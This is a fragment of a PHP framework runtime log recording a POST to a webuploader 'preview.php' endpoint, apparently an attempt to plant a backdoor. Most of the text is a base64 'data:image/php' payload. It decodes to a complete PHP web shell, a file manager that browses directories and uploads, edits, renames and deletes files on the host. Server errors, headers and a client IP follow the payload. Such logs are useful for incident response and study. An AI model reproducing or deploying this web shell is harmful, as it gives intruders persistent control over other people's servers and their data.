'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'plugins', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:15+08:00 ] 116.213.36.234 POST 51tianwei.com/public/platform/js/webuploader/0.1.15/server/preview.php [运行时间:0.002443s] [吞吐率:409.32req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'platform', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 